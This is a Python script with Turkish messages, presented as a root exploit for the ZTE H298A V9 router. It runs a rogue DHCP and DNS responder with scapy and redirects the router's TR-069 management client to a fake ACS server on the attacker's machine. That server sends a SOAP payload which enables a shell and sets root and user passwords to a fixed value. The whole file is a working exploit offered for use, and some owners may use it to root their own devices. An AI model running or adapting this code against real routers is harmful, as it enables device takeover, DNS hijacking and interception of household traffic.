#!/usr/bin/env python3
import logging
import threading
import time
import os
import struct
import platform as plt
from scapy.all import *
from http.server import BaseHTTPRequestHandler, HTTPServer
import socket
import re
import sys

# Log Ayarları
logging.basicConfig(level=logging.INFO, format='[%(levelname)s] %(message)s')

# --- Genel Yapılandırma ---
INTERFACE = ""
MY_IP = "10.116.13.22"
ROUTER_IP = "10.116.13.100"
SUBNET = "255.255.255.0"

# [SOAP_PAYLOAD ]
SOAP_PAYLOAD = """<soapenv:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/encoding/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:cwmp="urn:dslforum-org:cwmp-1-0" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<soapenv:Header>
<cwmp:ID soapenv:mustUnderstand="1">2</cwmp:ID>
</soapenv:Header>
<soapenv:Body>
<cwmp:SetParameterValues>
<ParameterList soap:arrayType="cwmp:ParameterValueStruct[5]">
<ParameterValueStruct>
<Name>InternetGatewayDevice.X_TT.UserInterface.LocalAccess.Enable</Name>
<Value xsi:type="xsd:boolean">1</Value>
</ParameterValueStruct>
<ParameterValueStruct>
<Name>InternetGatewayDevice.X_TT.Users.User.2.Enable</Name>
<Value xsi:type="xsd:boolean">1</Value>
</ParameterValueStruct>
<ParameterValueStruct>
<Name>InternetGatewayDevice.X_TT.Users.User.2.Password</Name>
<Value xsi:type="xsd:string">Sifre123123</Value>
</ParameterValueStruct>
<ParameterValueStruct>
<Name>InternetGatewayDevice.X_TT.Configuration.Shell.Enable</Name>
<Value xsi:type="xsd:boolean">1</Value>
</ParameterValueStruct>
<ParameterValueStruct>
<Name>InternetGatewayDevice.X_TT.Configuration.Shell.Password</Name>
<Value xsi:type="xsd:string">Sifre123123</Value>
</ParameterValueStruct>
</ParameterList>
<ParameterKey>3</ParameterKey>
</cwmp:SetParameterValues>
</soapenv:Body>
</soapenv:Envelope>"""

def is_admin():
    try:
        if plt.system() == "Windows":
            import ctypes
            return ctypes.windll.shell32.IsUserAnAdmin() != 0
        else:
            return os.getuid() == 0
    except:
        return False

def setup_networking():
    global INTERFACE, MY_IP, ROUTER_IP, SUBNET
    
    print("\n[+] 1. Adım: Ağ Yapılandırması")
    
    # Mevcut ağ kartlarını listele (Loopback hariç)
    ifaces = [i for i in conf.ifaces.values() if i.ip != "127.0.0.1"]
    
    if not ifaces:
        print("[-] Kullanılabilir ağ kartı bulunamadı!")
        sys.exit(1)

    selected_iface = None

    # Eğer sadece 1 kart varsa direkt seç
    if len(ifaces) == 1:
        selected_iface = ifaces[0]
        print(f"[*] Tek ağ kartı bulundu, otomatik seçiliyor: {selected_iface.description}")
    else:
        print("[!] Kullanılabilir ağ kartları:")
        for idx, iface in enumerate(ifaces):
            print(f"  [{idx}] {iface.name} - {iface.description} ({iface.ip})")
        
        while True:
            try:
                choice = input(f"\n[?] Kullanmak istediğiniz kartın numarasını seçin [0-{len(ifaces)-1}]: ").strip()
                choice_idx = int(choice)
                if 0 <= choice_idx < len(ifaces):
                    selected_iface = ifaces[choice_idx]
                    break
                else:
                    print(f"[-] Lütfen 0 ile {len(ifaces)-1} arasında bir sayı girin.")
            except ValueError:
                print("[-] Geçersiz giriş! Lütfen bir sayı girin.")

    INTERFACE = selected_iface.name
    print(f"[+] Seçilen Kart: {selected_iface.description}")

    # IP Yapılandırması
    MY_IP = input(f"[?] Statik IP Adresinizi [{MY_IP}] olarak ağ alt maskesini ise [{SUBNET}] olarak ayarlayın. Ayarladı iseniz enter tuşuna basın.: ").strip() or MY_IP
    base_ip = ".".join(MY_IP.split(".")[:-1])
    ROUTER_IP = f"{base_ip}.100"
    
    print(f"[+] Bilgisayar IP: {MY_IP}")
    print(f"[+] Hedef Router IP: {ROUTER_IP}")

# --- Diğer Fonksiyonlar (HTTP Sunucusu, Exploit Logic vb.) ---

class ExploitHandler(BaseHTTPRequestHandler):
    protocol_version = 'HTTP/1.1'
    def do_POST(self):
        content_length = int(self.headers.get('Content-Length', 0))
        post_data = self.rfile.read(content_length).decode('utf-8', errors='ignore')
        logging.info(f"HTTP: {self.client_address} adresinden istek geldi.")
        response_data = b""
        if "Inform" in post_data:
            logging.info("CWMP: Inform alındı. El sıkışılıyor...")
            req_id = "1"
            match = re.search(r'<[\w-]+:ID[^>]*>(.*?)</[\w-]+:ID>', post_data)
            if match: req_id = match.group(1)
            response_data = (f'<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:cwmp="urn:dslforum-org:cwmp-1-0">'
                             f'<SOAP-ENV:Header><cwmp:ID SOAP-ENV:mustUnderstand="1">{req_id}</cwmp:ID></SOAP-ENV:Header>'
                             f'<SOAP-ENV:Body><cwmp:InformResponse><MaxEnvelopes>1</MaxEnvelopes></cwmp:InformResponse></SOAP-ENV:Body>'
                             f'</SOAP-ENV:Envelope>').encode('utf-8')
        elif content_length == 0 or post_data.strip() == "":
            logging.info("CWMP: Ana Paket gönderiliyor...")
            response_data = SOAP_PAYLOAD.encode('utf-8')
        elif "SetParameterValuesResponse" in post_data:
            logging.info("*" * 50)
            logging.info("!!! İŞLEM BAŞARILI (Ağ ayarlarını eski haline getirin) !!!")
            logging.info(f"Kullanıcı: root | Şifre: Sifre123123")
            logging.info("*" * 50)
            response_data = b""
        else:
            response_data = b""
        if response_data:
             self.send_response(200)
             self.send_header('Content-Type', 'text/xml')
             self.send_header('Content-Length', str(len(response_data)))
             self.send_header('Connection', 'keep-alive')
             self.end_headers()
             self.wfile.write(response_data)
        else:
             self.send_response(204)
             self.end_headers()
    def log_message(self, format, *args): return

def start_http():
    logging.info("Servis: HTTP Sunucusu 80 portunda başlatılıyor...")
    try:
        server = HTTPServer(('0.0.0.0', 80), ExploitHandler)
        server.serve_forever()
    except Exception as e:
        logging.error(f"HTTP Sunucusu Hatası: {e}")

def run_exploit():
    my_mac = get_if_hwaddr(INTERFACE)
    acs_url = f"http://{MY_IP}/cwmpWeb/CPEMgt".encode()
    opt43_bytes = b"\x01" + struct.pack("B", len(acs_url)) + acs_url
    opt125_bytes = b"\x00\x00\x0f\x3e" + b"\x05" + b"\x01\x03\x00\x1e\x37"

    def packet_callback(pkt):
        if Ether not in pkt or pkt[Ether].src == my_mac: return
        vlan_id = pkt[Dot1Q].vlan if Dot1Q in pkt else None
        def send_resp(resp):
            if vlan_id:
                resp[Ether].type = 0x8100
                resp = resp[Ether] / Dot1Q(vlan=vlan_id) / resp[Ether].payload
            sendp(resp, iface=INTERFACE, verbose=False)

        if ARP in pkt and (pkt[ARP].pdst == MY_IP):
            eth = Ether(src=my_mac, dst=pkt[Ether].src)
            arp = ARP(op=2, hwsrc=my_mac, psrc=MY_IP, hwdst=pkt[ARP].hwsrc, pdst=pkt[ARP].psrc)
            send_resp(eth/arp)
        elif UDP in pkt and pkt[UDP].dport == 53 and DNS in pkt and pkt[DNS].qr == 0:
            qname = pkt[DNSQR].qname
            eth = Ether(src=my_mac, dst=pkt[Ether].src)
            ip = IP(src=MY_IP, dst=pkt[IP].src)
            udp = UDP(sport=53, dport=pkt[UDP].sport)
            dns = DNS(id=pkt[DNS].id, qr=1, aa=1, rd=1, qd=pkt[DNS].qd,
                      an=DNSRR(rrname=qname, type='A', rclass='IN', ttl=60, rdata=MY_IP))
            send_resp(eth/ip/udp/dns)
            logging.info(f"DNS: {qname.decode()} -> {MY_IP} yönlendirildi.")
        elif DHCP in pkt:
            msg_type = pkt[DHCP].options[0][1]
            eth = Ether(src=my_mac, dst=pkt[Ether].src)
            ip = IP(src=MY_IP, dst="255.255.255.255")
            udp = UDP(sport=67, dport=68)
            bootp = BOOTP(op=2, yiaddr=ROUTER_IP, siaddr=MY_IP, chaddr=pkt[BOOTP].chaddr, xid=pkt[BOOTP].xid)
            common_opts = [('server_id', MY_IP), ('subnet_mask', SUBNET), ('router', MY_IP),
                           ('name_server', MY_IP), ('vendor_specific', opt43_bytes), (125, opt125_bytes),
                           ('lease_time', 3600), 'end']
            if msg_type == 1: # Discover
                logging.info(f"DHCP: Discover geldi.")
                dhcp = DHCP(options=[('message-type', 'offer')] + common_opts)
                sendp(eth/ip/udp/bootp/dhcp, iface=INTERFACE, verbose=False)
            elif msg_type == 3: # Request
                logging.info(f"DHCP: Request geldi.")
                dhcp = DHCP(options=[('message-type', 'ack')] + common_opts)
                send_resp(eth/ip/udp/bootp/dhcp)
                logging.info("DHCP: ACK gönderildi.")

    logging.info(f"Dinleyici: {INTERFACE} kartı izleniyor...")
    sniff(iface=INTERFACE, filter="arp or udp or tcp", prn=packet_callback, store=0)

if __name__ == "__main__":
    if not is_admin():
        print("[-] HATA: Bu script YÖNETİCİ olarak çalıştırılmalıdır!")
        sys.exit(1)

    print("=" * 60)
    print(" ZTE H298A V9 ROOT EXPLOIT (DHCP Mode)")
    print("=" * 60)
    
    setup_networking()
    
    print("\n[+] 2. Adım: Servisler Çalıştırılıyor")
    threading.Thread(target=start_http, daemon=True).start()
    
    try:
        run_exploit()
    except KeyboardInterrupt:
        print("\n[!] Çıkış yapılıyor...")
    except Exception as e:
        print(f"\n[-] Beklenmedik Hata: {e}")